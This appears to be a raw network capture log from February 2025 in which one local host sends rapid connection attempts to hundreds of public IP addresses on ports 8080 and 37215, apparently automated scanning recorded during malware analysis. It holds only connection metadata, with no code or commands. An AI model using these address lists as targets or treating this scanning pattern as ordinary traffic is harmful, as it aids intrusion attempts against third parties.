Feb 19, 2025 19:43:15.958861113 CET	26802	8080	192.168.2.13	85.190.156.87
Feb 19, 2025 19:43:15.958862066 CET	26802	8080	192.168.2.13	85.191.148.230
Feb 19, 2025 19:43:15.958848000 CET	26802	8080	192.168.2.13	94.39.70.210
Feb 19, 2025 19:43:15.958862066 CET	27314	37215	192.168.2.13	41.165.158.129
Feb 19, 2025 19:43:15.958863020 CET	37215	27314	41.188.253.171	192.168.2.13
Feb 19, 2025 19:43:15.958862066 CET	26802	8080	192.168.2.13	31.86.85.141
Feb 19, 2025 19:43:15.958873034 CET	26802	8080	192.168.2.13	95.184.4.105
Feb 19, 2025 19:43:15.958885908 CET	26802	8080	192.168.2.13	94.253.158.115
Feb 19, 2025 19:43:15.958889961 CET	37215	27314	41.186.40.235	192.168.2.13
Feb 19, 2025 19:43:15.958899021 CET	27314	37215	192.168.2.13	41.188.253.171
Feb 19, 2025 19:43:15.958901882 CET	26802	8080	192.168.2.13	62.107.5.165
Feb 19, 2025 19:43:15.958914995 CET	27314	37215	192.168.2.13	41.186.40.235
Feb 19, 2025 19:43:15.958923101 CET	26802	8080	192.168.2.13	85.31.88.191
Feb 19, 2025 19:43:15.958929062 CET	26802	8080	192.168.2.13	31.247.132.190
Feb 19, 2025 19:43:15.958934069 CET	37215	27314	41.21.202.47	192.168.2.13
Feb 19, 2025 19:43:15.958956957 CET	26802	8080	192.168.2.13	62.71.48.154
Feb 19, 2025 19:43:15.958960056 CET	26802	8080	192.168.2.13	95.220.246.170
Feb 19, 2025 19:43:15.958966017 CET	37215	27314	41.154.192.30	192.168.2.13
Feb 19, 2025 19:43:15.958972931 CET	27314	37215	192.168.2.13	41.21.202.47
Feb 19, 2025 19:43:15.958978891 CET	26802	8080	192.168.2.13	85.225.159.159
Feb 19, 2025 19:43:15.958988905 CET	26802	8080	192.168.2.13	62.132.97.151
Feb 19, 2025 19:43:15.959000111 CET	37215	27314	41.211.25.46	192.168.2.13
Feb 19, 2025 19:43:15.959017038 CET	37215	27314	41.180.240.18	192.168.2.13
Feb 19, 2025 19:43:15.959022999 CET	26802	8080	192.168.2.13	31.32.210.52
Feb 19, 2025 19:43:15.959028006 CET	26802	8080	192.168.2.13	31.6.9.46
Feb 19, 2025 19:43:15.959028006 CET	26802	8080	192.168.2.13	62.62.139.147
Feb 19, 2025 19:43:15.959028959 CET	26802	8080	192.168.2.13	31.78.73.96
Feb 19, 2025 19:43:15.959029913 CET	37215	27314	41.160.252.59	192.168.2.13
Feb 19, 2025 19:43:15.959034920 CET	26802	8080	192.168.2.13	62.160.108.185
Feb 19, 2025 19:43:15.959045887 CET	37215	27314	41.10.26.62	192.168.2.13
Feb 19, 2025 19:43:15.959048033 CET	26802	8080	192.168.2.13	85.158.98.37
Feb 19, 2025 19:43:15.959048033 CET	26802	8080	192.168.2.13	95.63.185.241
Feb 19, 2025 19:43:15.959049940 CET	26802	8080	192.168.2.13	85.173.249.139
Feb 19, 2025 19:43:15.959052086 CET	26802	8080	192.168.2.13	85.192.249.224
Feb 19, 2025 19:43:15.959053040 CET	26802	8080	192.168.2.13	95.70.210.125
Feb 19, 2025 19:43:15.959052086 CET	27314	37215	192.168.2.13	41.211.25.46
Feb 19, 2025 19:43:15.959053040 CET	26802	8080	192.168.2.13	95.76.205.78
Feb 19, 2025 19:43:15.959052086 CET	26802	8080	192.168.2.13	95.143.120.103
Feb 19, 2025 19:43:15.959053040 CET	26802	8080	192.168.2.13	31.29.243.130
Feb 19, 2025 19:43:15.959053040 CET	26802	8080	192.168.2.13	95.40.154.98
Feb 19, 2025 19:43:15.959063053 CET	37215	27314	41.81.144.144	192.168.2.13
Feb 19, 2025 19:43:15.959063053 CET	26802	8080	192.168.2.13	85.77.172.43
Feb 19, 2025 19:43:15.959063053 CET	27314	37215	192.168.2.13	41.154.192.30
Feb 19, 2025 19:43:15.959063053 CET	26802	8080	192.168.2.13	95.203.128.152
Feb 19, 2025 19:43:15.959065914 CET	26802	8080	192.168.2.13	62.64.128.2
Feb 19, 2025 19:43:15.959063053 CET	27314	37215	192.168.2.13	41.160.252.59
Feb 19, 2025 19:43:15.959065914 CET	26802	8080	192.168.2.13	95.27.153.100
Feb 19, 2025 19:43:15.959065914 CET	26802	8080	192.168.2.13	95.225.144.67
Feb 19, 2025 19:43:15.959081888 CET	37215	27314	41.146.26.197	192.168.2.13
Feb 19, 2025 19:43:15.959088087 CET	26802	8080	192.168.2.13	95.215.45.105
Feb 19, 2025 19:43:15.959088087 CET	26802	8080	192.168.2.13	95.97.85.64
Feb 19, 2025 19:43:15.959089994 CET	26802	8080	192.168.2.13	95.9.54.192
Feb 19, 2025 19:43:15.959089994 CET	27314	37215	192.168.2.13	41.10.26.62
Feb 19, 2025 19:43:15.959089994 CET	26802	8080	192.168.2.13	95.205.101.179
Feb 19, 2025 19:43:15.959098101 CET	37215	27314	41.43.1.195	192.168.2.13
Feb 19, 2025 19:43:15.959106922 CET	26802	8080	192.168.2.13	94.18.157.254
Feb 19, 2025 19:43:15.959112883 CET	27314	37215	192.168.2.13	41.81.144.144
Feb 19, 2025 19:43:15.959112883 CET	27314	37215	192.168.2.13	41.146.26.197
Feb 19, 2025 19:43:15.959119081 CET	37215	27314	41.64.83.78	192.168.2.13
Feb 19, 2025 19:43:15.959126949 CET	26802	8080	192.168.2.13	85.248.104.176
Feb 19, 2025 19:43:15.959126949 CET	27314	37215	192.168.2.13	41.43.1.195
Feb 19, 2025 19:43:15.959136963 CET	26802	8080	192.168.2.13	31.71.47.38
Feb 19, 2025 19:43:15.959141016 CET	27314	37215	192.168.2.13	41.64.83.78
Feb 19, 2025 19:43:15.959151983 CET	26802	8080	192.168.2.13	62.46.161.16
Feb 19, 2025 19:43:15.959151983 CET	26802	8080	192.168.2.13	85.47.91.92
Feb 19, 2025 19:43:15.959155083 CET	26802	8080	192.168.2.13	95.117.105.66
Feb 19, 2025 19:43:15.959157944 CET	37215	27314	41.5.194.24	192.168.2.13
Feb 19, 2025 19:43:15.959167004 CET	26802	8080	192.168.2.13	31.173.235.196
Feb 19, 2025 19:43:15.959167004 CET	26802	8080	192.168.2.13	94.8.157.168
Feb 19, 2025 19:43:15.959167957 CET	26802	8080	192.168.2.13	85.0.243.245
Feb 19, 2025 19:43:15.959167957 CET	26802	8080	192.168.2.13	95.236.73.85
Feb 19, 2025 19:43:15.959171057 CET	37215	27314	41.254.204.166	192.168.2.13
Feb 19, 2025 19:43:15.959177017 CET	26802	8080	192.168.2.13	95.2.188.103
Feb 19, 2025 19:43:15.959181070 CET	26802	8080	192.168.2.13	94.175.202.71
Feb 19, 2025 19:43:15.959181070 CET	26802	8080	192.168.2.13	62.219.224.21
Feb 19, 2025 19:43:15.959181070 CET	26802	8080	192.168.2.13	95.199.146.219
Feb 19, 2025 19:43:15.959181070 CET	26802	8080	192.168.2.13	95.123.174.111
Feb 19, 2025 19:43:15.959183931 CET	37215	27314	41.218.15.4	192.168.2.13
Feb 19, 2025 19:43:15.959188938 CET	26802	8080	192.168.2.13	31.102.193.88
Feb 19, 2025 19:43:15.959191084 CET	26802	8080	192.168.2.13	95.224.40.140
Feb 19, 2025 19:43:15.959197044 CET	37215	27314	41.77.220.18	192.168.2.13
Feb 19, 2025 19:43:15.959201097 CET	26802	8080	192.168.2.13	94.120.93.121
Feb 19, 2025 19:43:15.959201097 CET	26802	8080	192.168.2.13	31.233.10.252
Feb 19, 2025 19:43:15.959203959 CET	26802	8080	192.168.2.13	62.30.249.35
Feb 19, 2025 19:43:15.959207058 CET	26802	8080	192.168.2.13	31.191.120.92
Feb 19, 2025 19:43:15.959213018 CET	26802	8080	192.168.2.13	62.201.135.242
Feb 19, 2025 19:43:15.959218025 CET	26802	8080	192.168.2.13	31.48.206.147
Feb 19, 2025 19:43:15.959218025 CET	37215	27314	41.165.247.113	192.168.2.13
Feb 19, 2025 19:43:15.959220886 CET	27314	37215	192.168.2.13	41.77.220.18
Feb 19, 2025 19:43:15.959225893 CET	26802	8080	192.168.2.13	94.203.72.249
Feb 19, 2025 19:43:15.959225893 CET	26802	8080	192.168.2.13	95.147.217.87
Feb 19, 2025 19:43:15.959225893 CET	26802	8080	192.168.2.13	85.126.35.40
Feb 19, 2025 19:43:15.959235907 CET	26802	8080	192.168.2.13	94.133.182.23
Feb 19, 2025 19:43:15.959243059 CET	26802	8080	192.168.2.13	85.99.159.32
Feb 19, 2025 19:43:15.959245920 CET	26802	8080	192.168.2.13	62.102.40.117
Feb 19, 2025 19:43:15.959259033 CET	26802	8080	192.168.2.13	94.104.216.73
Feb 19, 2025 19:43:15.959260941 CET	37215	27314	41.118.85.199	192.168.2.13
Feb 19, 2025 19:43:15.959264994 CET	26802	8080	192.168.2.13	62.179.115.18
Feb 19, 2025 19:43:15.959269047 CET	26802	8080	192.168.2.13	85.6.82.118
Feb 19, 2025 19:43:15.959273100 CET	37215	27314	41.126.7.138	192.168.2.13
Feb 19, 2025 19:43:15.959285021 CET	26802	8080	192.168.2.13	31.151.86.253
Feb 19, 2025 19:43:15.959285975 CET	27314	37215	192.168.2.13	41.118.85.199
Feb 19, 2025 19:43:15.959287882 CET	26802	8080	192.168.2.13	95.26.227.99
Feb 19, 2025 19:43:15.959287882 CET	26802	8080	192.168.2.13	94.175.115.241
Feb 19, 2025 19:43:15.959297895 CET	37215	27314	41.95.233.85	192.168.2.13
Feb 19, 2025 19:43:15.959302902 CET	26802	8080	192.168.2.13	95.169.201.27
Feb 19, 2025 19:43:15.959307909 CET	26802	8080	192.168.2.13	62.204.57.20
Feb 19, 2025 19:43:15.959320068 CET	26802	8080	192.168.2.13	31.225.62.189
Feb 19, 2025 19:43:15.959320068 CET	27314	37215	192.168.2.13	41.95.233.85
Feb 19, 2025 19:43:15.959311008 CET	37215	27314	41.181.189.62	192.168.2.13
Feb 19, 2025 19:43:15.959322929 CET	26802	8080	192.168.2.13	31.192.89.5
Feb 19, 2025 19:43:15.959322929 CET	26802	8080	192.168.2.13	85.17.163.214
Feb 19, 2025 19:43:15.959328890 CET	26802	8080	192.168.2.13	85.45.253.143
Feb 19, 2025 19:43:15.959336042 CET	37215	27314	41.91.152.85	192.168.2.13
Feb 19, 2025 19:43:15.959347010 CET	26802	8080	192.168.2.13	31.179.166.218
Feb 19, 2025 19:43:15.959347963 CET	26802	8080	192.168.2.13	95.140.52.78
Feb 19, 2025 19:43:15.959347963 CET	26802	8080	192.168.2.13	85.102.103.133
Feb 19, 2025 19:43:15.959347963 CET	37215	27314	41.207.66.122	192.168.2.13
Feb 19, 2025 19:43:15.959361076 CET	37215	27314	41.76.184.99	192.168.2.13
Feb 19, 2025 19:43:15.959362030 CET	27314	37215	192.168.2.13	41.180.240.18
Feb 19, 2025 19:43:15.959362984 CET	26802	8080	192.168.2.13	95.143.64.218
Feb 19, 2025 19:43:15.959362984 CET	27314	37215	192.168.2.13	41.91.152.85
Feb 19, 2025 19:43:15.959373951 CET	26802	8080	192.168.2.13	95.225.113.3
Feb 19, 2025 19:43:15.959373951 CET	27314	37215	192.168.2.13	41.254.204.166
Feb 19, 2025 19:43:15.959376097 CET	27314	37215	192.168.2.13	41.5.194.24
Feb 19, 2025 19:43:15.959378004 CET	37215	27314	41.173.244.130	192.168.2.13
Feb 19, 2025 19:43:15.959388018 CET	27314	37215	192.168.2.13	41.165.247.113
Feb 19, 2025 19:43:15.959388971 CET	27314	37215	192.168.2.13	41.218.15.4
Feb 19, 2025 19:43:15.959388971 CET	26802	8080	192.168.2.13	94.68.55.54
Feb 19, 2025 19:43:15.959388971 CET	26802	8080	192.168.2.13	31.2.229.219
Feb 19, 2025 19:43:15.959389925 CET	26802	8080	192.168.2.13	62.128.132.116
Feb 19, 2025 19:43:15.959392071 CET	27314	37215	192.168.2.13	41.207.66.122
Feb 19, 2025 19:43:15.959392071 CET	27314	37215	192.168.2.13	41.126.7.138
Feb 19, 2025 19:43:15.959402084 CET	27314	37215	192.168.2.13	41.76.184.99
Feb 19, 2025 19:43:15.959417105 CET	26802	8080	192.168.2.13	62.242.114.169
Feb 19, 2025 19:43:15.959418058 CET	26802	8080	192.168.2.13	94.35.121.115
Feb 19, 2025 19:43:15.959419012 CET	37215	27314	41.124.86.92	192.168.2.13
Feb 19, 2025 19:43:15.959423065 CET	27314	37215	192.168.2.13	41.181.189.62
Feb 19, 2025 19:43:15.959424019 CET	26802	8080	192.168.2.13	95.42.65.144
Feb 19, 2025 19:43:15.959424019 CET	26802	8080	192.168.2.13	85.213.97.2
Feb 19, 2025 19:43:15.959424019 CET	27314	37215	192.168.2.13	41.173.244.130
Feb 19, 2025 19:43:15.959471941 CET	27314	37215	192.168.2.13	41.124.86.92
Feb 19, 2025 19:43:15.959707975 CET	26802	8080	192.168.2.13	85.141.184.133
Feb 19, 2025 19:43:15.959711075 CET	26802	8080	192.168.2.13	85.229.0.133
Feb 19, 2025 19:43:15.959726095 CET	26802	8080	192.168.2.13	94.123.161.168
Feb 19, 2025 19:43:15.959727049 CET	26802	8080	192.168.2.13	31.244.211.42
Feb 19, 2025 19:43:15.959734917 CET	26802	8080	192.168.2.13	31.128.117.211
Feb 19, 2025 19:43:15.959745884 CET	26802	8080	192.168.2.13	85.145.114.114
Feb 19, 2025 19:43:15.959758043 CET	26802	8080	192.168.2.13	85.28.48.48
Feb 19, 2025 19:43:15.959769964 CET	26802	8080	192.168.2.13	85.133.255.206
Feb 19, 2025 19:43:15.959778070 CET	26802	8080	192.168.2.13	85.121.87.249
Feb 19, 2025 19:43:15.959822893 CET	26802	8080	192.168.2.13	31.216.107.163
Feb 19, 2025 19:43:15.959822893 CET	26802	8080	192.168.2.13	94.39.177.205
Feb 19, 2025 19:43:15.959836006 CET	26802	8080	192.168.2.13	94.64.74.248
Feb 19, 2025 19:43:15.959836006 CET	26802	8080	192.168.2.13	94.25.124.93
Feb 19, 2025 19:43:15.959837914 CET	26802	8080	192.168.2.13	31.199.41.212
Feb 19, 2025 19:43:15.959839106 CET	26802	8080	192.168.2.13	95.196.24.249
Feb 19, 2025 19:43:15.959839106 CET	26802	8080	192.168.2.13	62.188.158.107
Feb 19, 2025 19:43:15.959842920 CET	26802	8080	192.168.2.13	85.221.218.174
Feb 19, 2025 19:43:15.959842920 CET	26802	8080	192.168.2.13	94.24.44.71
Feb 19, 2025 19:43:15.959846020 CET	26802	8080	192.168.2.13	31.16.200.179
Feb 19, 2025 19:43:15.959846020 CET	26802	8080	192.168.2.13	62.209.35.124
Feb 19, 2025 19:43:15.959865093 CET	26802	8080	192.168.2.13	85.219.194.148
Feb 19, 2025 19:43:15.959866047 CET	26802	8080	192.168.2.13	94.140.67.140
Feb 19, 2025 19:43:15.959866047 CET	26802	8080	192.168.2.13	85.118.10.120
Feb 19, 2025 19:43:15.959866047 CET	26802	8080	192.168.2.13	31.171.156.125
Feb 19, 2025 19:43:15.959866047 CET	26802	8080	192.168.2.13	94.108.121.193
Feb 19, 2025 19:43:15.959866047 CET	26802	8080	192.168.2.13	95.174.88.126
Feb 19, 2025 19:43:15.959866047 CET	26802	8080	192.168.2.13	85.152.39.120
Feb 19, 2025 19:43:15.959866047 CET	26802	8080	192.168.2.13	31.194.161.67
Feb 19, 2025 19:43:15.959872961 CET	26802	8080	192.168.2.13	85.220.197.230
Feb 19, 2025 19:43:15.959878922 CET	26802	8080	192.168.2.13	85.167.166.214
Feb 19, 2025 19:43:15.959878922 CET	26802	8080	192.168.2.13	62.109.150.249
Feb 19, 2025 19:43:15.959880114 CET	26802	8080	192.168.2.13	94.96.132.104
Feb 19, 2025 19:43:15.959880114 CET	26802	8080	192.168.2.13	62.194.252.3
Feb 19, 2025 19:43:15.959880114 CET	26802	8080	192.168.2.13	94.181.249.49
Feb 19, 2025 19:43:15.959881067 CET	26802	8080	192.168.2.13	85.249.67.20
Feb 19, 2025 19:43:15.959881067 CET	26802	8080	192.168.2.13	31.89.135.107
Feb 19, 2025 19:43:15.959882021 CET	26802	8080	192.168.2.13	95.77.163.89
Feb 19, 2025 19:43:15.959882975 CET	26802	8080	192.168.2.13	62.189.132.153
Feb 19, 2025 19:43:15.959882975 CET	26802	8080	192.168.2.13	85.57.202.97
Feb 19, 2025 19:43:15.959882975 CET	26802	8080	192.168.2.13	31.147.200.2
Feb 19, 2025 19:43:15.959882975 CET	26802	8080	192.168.2.13	95.148.186.195
Feb 19, 2025 19:43:15.959882975 CET	26802	8080	192.168.2.13	94.33.215.178
Feb 19, 2025 19:43:15.959888935 CET	26802	8080	192.168.2.13	62.20.234.142
Feb 19, 2025 19:43:15.959882021 CET	26802	8080	192.168.2.13	62.224.250.58
Feb 19, 2025 19:43:15.959882021 CET	26802	8080	192.168.2.13	31.196.218.175
Feb 19, 2025 19:43:15.959892035 CET	26802	8080	192.168.2.13	95.17.61.213
Feb 19, 2025 19:43:15.959892035 CET	26802	8080	192.168.2.13	94.227.192.218
Feb 19, 2025 19:43:15.959892035 CET	26802	8080	192.168.2.13	85.192.155.197
Feb 19, 2025 19:43:15.959892035 CET	26802	8080	192.168.2.13	95.219.28.5
Feb 19, 2025 19:43:15.959882975 CET	26802	8080	192.168.2.13	62.171.212.38
Feb 19, 2025 19:43:15.959892035 CET	26802	8080	192.168.2.13	62.155.58.89
Feb 19, 2025 19:43:15.959892035 CET	26802	8080	192.168.2.13	94.54.17.239
Feb 19, 2025 19:43:15.959892035 CET	26802	8080	192.168.2.13	62.209.49.233
Feb 19, 2025 19:43:15.959907055 CET	26802	8080	192.168.2.13	31.137.199.52
Feb 19, 2025 19:43:15.959907055 CET	26802	8080	192.168.2.13	85.85.195.133
Feb 19, 2025 19:43:15.959907055 CET	26802	8080	192.168.2.13	62.51.147.66
Feb 19, 2025 19:43:15.959907055 CET	26802	8080	192.168.2.13	94.253.99.220
Feb 19, 2025 19:43:15.959907055 CET	26802	8080	192.168.2.13	85.100.32.247
Feb 19, 2025 19:43:15.959913015 CET	26802	8080	192.168.2.13	31.193.104.40
Feb 19, 2025 19:43:15.959913015 CET	26802	8080	192.168.2.13	62.123.167.26
Feb 19, 2025 19:43:15.959913015 CET	26802	8080	192.168.2.13	62.34.145.83
Feb 19, 2025 19:43:15.959913015 CET	26802	8080	192.168.2.13	31.230.95.35
Feb 19, 2025 19:43:15.959913015 CET	26802	8080	192.168.2.13	31.15.50.218
Feb 19, 2025 19:43:15.959913015 CET	26802	8080	192.168.2.13	31.126.191.224
Feb 19, 2025 19:43:15.959913015 CET	26802	8080	192.168.2.13	31.119.54.130
Feb 19, 2025 19:43:15.959913015 CET	26802	8080	192.168.2.13	31.148.131.68
Feb 19, 2025 19:43:15.959919930 CET	26802	8080	192.168.2.13	62.236.46.23
Feb 19, 2025 19:43:15.959919930 CET	26802	8080	192.168.2.13	94.7.167.61
Feb 19, 2025 19:43:15.959929943 CET	26802	8080	192.168.2.13	31.196.180.133
Feb 19, 2025 19:43:15.959929943 CET	26802	8080	192.168.2.13	85.154.34.98
Feb 19, 2025 19:43:15.959929943 CET	26802	8080	192.168.2.13	85.188.74.64
Feb 19, 2025 19:43:15.959930897 CET	26802	8080	192.168.2.13	94.46.246.234
Feb 19, 2025 19:43:15.959930897 CET	26802	8080	192.168.2.13	94.137.144.102
Feb 19, 2025 19:43:15.959930897 CET	26802	8080	192.168.2.13	85.51.67.250
Feb 19, 2025 19:43:15.959930897 CET	26802	8080	192.168.2.13	94.183.159.25
Feb 19, 2025 19:43:15.959939957 CET	26802	8080	192.168.2.13	94.123.177.186
Feb 19, 2025 19:43:15.959939957 CET	26802	8080	192.168.2.13	95.147.90.231
Feb 19, 2025 19:43:15.959939957 CET	26802	8080	192.168.2.13	31.136.153.33
Feb 19, 2025 19:43:15.959939957 CET	26802	8080	192.168.2.13	95.104.146.144
Feb 19, 2025 19:43:15.959939957 CET	26802	8080	192.168.2.13	85.109.17.92
Feb 19, 2025 19:43:15.959939957 CET	26802	8080	192.168.2.13	85.15.18.206
Feb 19, 2025 19:43:15.959942102 CET	26802	8080	192.168.2.13	85.44.124.19
Feb 19, 2025 19:43:15.959961891 CET	26802	8080	192.168.2.13	62.214.198.68
Feb 19, 2025 19:43:15.959964037 CET	26802	8080	192.168.2.13	95.99.82.162
Feb 19, 2025 19:43:15.959964037 CET	26802	8080	192.168.2.13	62.72.253.158
Feb 19, 2025 19:43:15.959964037 CET	26802	8080	192.168.2.13	31.86.47.38
Feb 19, 2025 19:43:15.959964037 CET	26802	8080	192.168.2.13	62.90.37.168
Feb 19, 2025 19:43:15.959964037 CET	26802	8080	192.168.2.13	94.217.10.132
Feb 19, 2025 19:43:15.959964037 CET	26802	8080	192.168.2.13	94.185.40.251
Feb 19, 2025 19:43:15.959973097 CET	26802	8080	192.168.2.13	94.98.66.173
Feb 19, 2025 19:43:15.959989071 CET	26802	8080	192.168.2.13	95.70.18.232
Feb 19, 2025 19:43:15.959996939 CET	26802	8080	192.168.2.13	95.249.24.28
Feb 19, 2025 19:43:15.959996939 CET	26802	8080	192.168.2.13	94.10.10.65
Feb 19, 2025 19:43:15.960001945 CET	26802	8080	192.168.2.13	31.207.148.115
Feb 19, 2025 19:43:15.960001945 CET	26802	8080	192.168.2.13	95.144.111.3
Feb 19, 2025 19:43:15.960001945 CET	26802	8080	192.168.2.13	62.115.140.70
Feb 19, 2025 19:43:15.960027933 CET	26802	8080	192.168.2.13	85.140.99.149
Feb 19, 2025 19:43:15.960027933 CET	26802	8080	192.168.2.13	62.247.219.0
Feb 19, 2025 19:43:15.960037947 CET	26802	8080	192.168.2.13	31.230.207.184
Feb 19, 2025 19:43:15.960037947 CET	26802	8080	192.168.2.13	94.231.139.95
Feb 19, 2025 19:43:15.960038900 CET	26802	8080	192.168.2.13	31.148.209.188
Feb 19, 2025 19:43:15.960040092 CET	26802	8080	192.168.2.13	94.243.249.120
Feb 19, 2025 19:43:15.960041046 CET	26802	8080	192.168.2.13	85.27.16.62
Feb 19, 2025 19:43:15.960042953 CET	26802	8080	192.168.2.13	95.39.77.68
Feb 19, 2025 19:43:15.960043907 CET	26802	8080	192.168.2.13	95.153.181.211
Feb 19, 2025 19:43:15.960043907 CET	26802	8080	192.168.2.13	95.103.134.170
Feb 19, 2025 19:43:15.960043907 CET	26802	8080	192.168.2.13	94.56.131.167
Feb 19, 2025 19:43:15.960047007 CET	26802	8080	192.168.2.13	85.80.234.25
Feb 19, 2025 19:43:15.960047007 CET	26802	8080	192.168.2.13	85.50.180.90
Feb 19, 2025 19:43:15.960093021 CET	26802	8080	192.168.2.13	95.30.225.49
Feb 19, 2025 19:43:15.960094929 CET	26802	8080	192.168.2.13	31.213.133.50
Feb 19, 2025 19:43:15.960094929 CET	26802	8080	192.168.2.13	62.242.179.236
Feb 19, 2025 19:43:15.960098028 CET	26802	8080	192.168.2.13	95.147.141.63
Feb 19, 2025 19:43:15.960098028 CET	26802	8080	192.168.2.13	94.208.196.47
Feb 19, 2025 19:43:15.960098028 CET	26802	8080	192.168.2.13	31.103.202.66
Feb 19, 2025 19:43:15.960098028 CET	26802	8080	192.168.2.13	95.144.7.112
Feb 19, 2025 19:43:15.960098028 CET	26802	8080	192.168.2.13	31.6.147.40
Feb 19, 2025 19:43:15.960098028 CET	26802	8080	192.168.2.13	85.147.89.238
Feb 19, 2025 19:43:15.960098028 CET	26802	8080	192.168.2.13	31.148.60.146
Feb 19, 2025 19:43:15.960098028 CET	26802	8080	192.168.2.13	94.70.9.110
Feb 19, 2025 19:43:15.960098028 CET	26802	8080	192.168.2.13	95.231.149.211
Feb 19, 2025 19:43:15.960098028 CET	26802	8080	192.168.2.13	95.17.178.172
Feb 19, 2025 19:43:15.960100889 CET	26802	8080	192.168.2.13	85.125.33.71
Feb 19, 2025 19:43:15.960098028 CET	26802	8080	192.168.2.13	95.156.169.78
Feb 19, 2025 19:43:15.960100889 CET	26802	8080	192.168.2.13	85.18.229.85
Feb 19, 2025 19:43:15.960100889 CET	26802	8080	192.168.2.13	95.227.55.117
Feb 19, 2025 19:43:15.960102081 CET	26802	8080	192.168.2.13	95.68.210.1
Feb 19, 2025 19:43:15.960102081 CET	26802	8080	192.168.2.13	31.126.27.201
Feb 19, 2025 19:43:15.960107088 CET	26802	8080	192.168.2.13	62.164.94.235
Feb 19, 2025 19:43:15.960107088 CET	26802	8080	192.168.2.13	95.177.240.171
Feb 19, 2025 19:43:15.960107088 CET	26802	8080	192.168.2.13	85.221.175.151
Feb 19, 2025 19:43:15.960107088 CET	26802	8080	192.168.2.13	94.82.99.161
Feb 19, 2025 19:43:15.960107088 CET	26802	8080	192.168.2.13	85.49.250.41
Feb 19, 2025 19:43:15.960119009 CET	26802	8080	192.168.2.13	95.166.152.184
Feb 19, 2025 19:43:15.960118055 CET	26802	8080	192.168.2.13	85.0.80.199
Feb 19, 2025 19:43:15.960119009 CET	26802	8080	192.168.2.13	85.221.112.76
Feb 19, 2025 19:43:15.960119009 CET	26802	8080	192.168.2.13	31.22.182.116
Feb 19, 2025 19:43:15.960118055 CET	26802	8080	192.168.2.13	94.85.136.26
Feb 19, 2025 19:43:15.960119009 CET	26802	8080	192.168.2.13	62.136.76.43
Feb 19, 2025 19:43:15.960119009 CET	26802	8080	192.168.2.13	85.206.221.134
Feb 19, 2025 19:43:15.960119009 CET	26802	8080	192.168.2.13	62.86.41.162
Feb 19, 2025 19:43:15.960118055 CET	26802	8080	192.168.2.13	31.140.137.36
Feb 19, 2025 19:43:15.960119009 CET	26802	8080	192.168.2.13	31.166.33.145
Feb 19, 2025 19:43:15.960119009 CET	26802	8080	192.168.2.13	31.120.140.209
Feb 19, 2025 19:43:15.960133076 CET	26802	8080	192.168.2.13	31.197.16.25
Feb 19, 2025 19:43:15.960133076 CET	26802	8080	192.168.2.13	62.141.146.211
Feb 19, 2025 19:43:15.960133076 CET	26802	8080	192.168.2.13	31.3.189.175
Feb 19, 2025 19:43:15.960133076 CET	26802	8080	192.168.2.13	31.197.229.30
Feb 19, 2025 19:43:15.960133076 CET	26802	8080	192.168.2.13	85.97.161.116
Feb 19, 2025 19:43:15.960133076 CET	26802	8080	192.168.2.13	94.246.239.213
Feb 19, 2025 19:43:15.960133076 CET	26802	8080	192.168.2.13	62.144.206.134
Feb 19, 2025 19:43:15.960133076 CET	26802	8080	192.168.2.13	62.46.47.46
Feb 19, 2025 19:43:15.960144997 CET	26802	8080	192.168.2.13	62.15.69.219
Feb 19, 2025 19:43:15.960145950 CET	26802	8080	192.168.2.13	95.159.217.192
Feb 19, 2025 19:43:15.960149050 CET	26802	8080	192.168.2.13	31.134.12.144
Feb 19, 2025 19:43:15.960149050 CET	26802	8080	192.168.2.13	62.195.204.137
Feb 19, 2025 19:43:15.960149050 CET	26802	8080	192.168.2.13	62.246.3.86
Feb 19, 2025 19:43:15.960149050 CET	26802	8080	192.168.2.13	94.56.109.18
Feb 19, 2025 19:43:15.960153103 CET	26802	8080	192.168.2.13	95.178.4.85
Feb 19, 2025 19:43:15.960153103 CET	26802	8080	192.168.2.13	31.2.115.173
Feb 19, 2025 19:43:15.960153103 CET	26802	8080	192.168.2.13	95.7.207.212
Feb 19, 2025 19:43:15.960153103 CET	26802	8080	192.168.2.13	85.60.54.59
Feb 19, 2025 19:43:15.960153103 CET	26802	8080	192.168.2.13	94.12.143.140
Feb 19, 2025 19:43:15.960153103 CET	26802	8080	192.168.2.13	31.255.196.21
Feb 19, 2025 19:43:15.960155964 CET	26802	8080	192.168.2.13	95.115.212.92
Feb 19, 2025 19:43:15.960155964 CET	26802	8080	192.168.2.13	85.129.23.124
Feb 19, 2025 19:43:15.960177898 CET	26802	8080	192.168.2.13	62.47.4.197
Feb 19, 2025 19:43:15.960177898 CET	26802	8080	192.168.2.13	62.92.112.22
Feb 19, 2025 19:43:15.960177898 CET	26802	8080	192.168.2.13	31.40.77.76
Feb 19, 2025 19:43:15.960177898 CET	26802	8080	192.168.2.13	62.240.15.109
Feb 19, 2025 19:43:15.960177898 CET	26802	8080	192.168.2.13	95.54.70.68
Feb 19, 2025 19:43:15.960179090 CET	26802	8080	192.168.2.13	94.247.61.236
Feb 19, 2025 19:43:15.960199118 CET	26802	8080	192.168.2.13	31.68.150.139
Feb 19, 2025 19:43:15.960223913 CET	26802	8080	192.168.2.13	85.86.78.2
Feb 19, 2025 19:43:15.960223913 CET	26802	8080	192.168.2.13	31.242.130.81
Feb 19, 2025 19:43:15.960230112 CET	26802	8080	192.168.2.13	62.20.12.218
Feb 19, 2025 19:43:15.960230112 CET	26802	8080	192.168.2.13	62.150.29.105
Feb 19, 2025 19:43:15.960230112 CET	26802	8080	192.168.2.13	31.217.50.76
Feb 19, 2025 19:43:15.960230112 CET	26802	8080	192.168.2.13	62.140.105.32
Feb 19, 2025 19:43:15.960230112 CET	26802	8080	192.168.2.13	85.218.223.189
Feb 19, 2025 19:43:15.960237026 CET	26802	8080	192.168.2.13	95.240.45.56
Feb 19, 2025 19:43:15.960237026 CET	26802	8080	192.168.2.13	85.252.195.101
Feb 19, 2025 19:43:15.960242033 CET	26802	8080	192.168.2.13	85.169.26.140
Feb 19, 2025 19:43:15.960242033 CET	26802	8080	192.168.2.13	85.41.118.118
Feb 19, 2025 19:43:15.960243940 CET	26802	8080	192.168.2.13	94.87.149.28
Feb 19, 2025 19:43:15.960243940 CET	26802	8080	192.168.2.13	31.108.163.223
Feb 19, 2025 19:43:15.960243940 CET	26802	8080	192.168.2.13	62.92.132.10
Feb 19, 2025 19:43:15.960248947 CET	26802	8080	192.168.2.13	62.244.163.199
Feb 19, 2025 19:43:15.960257053 CET	26802	8080	192.168.2.13	94.162.121.119
Feb 19, 2025 19:43:15.960263968 CET	26802	8080	192.168.2.13	94.92.117.108
Feb 19, 2025 19:43:15.960266113 CET	26802	8080	192.168.2.13	31.60.186.72
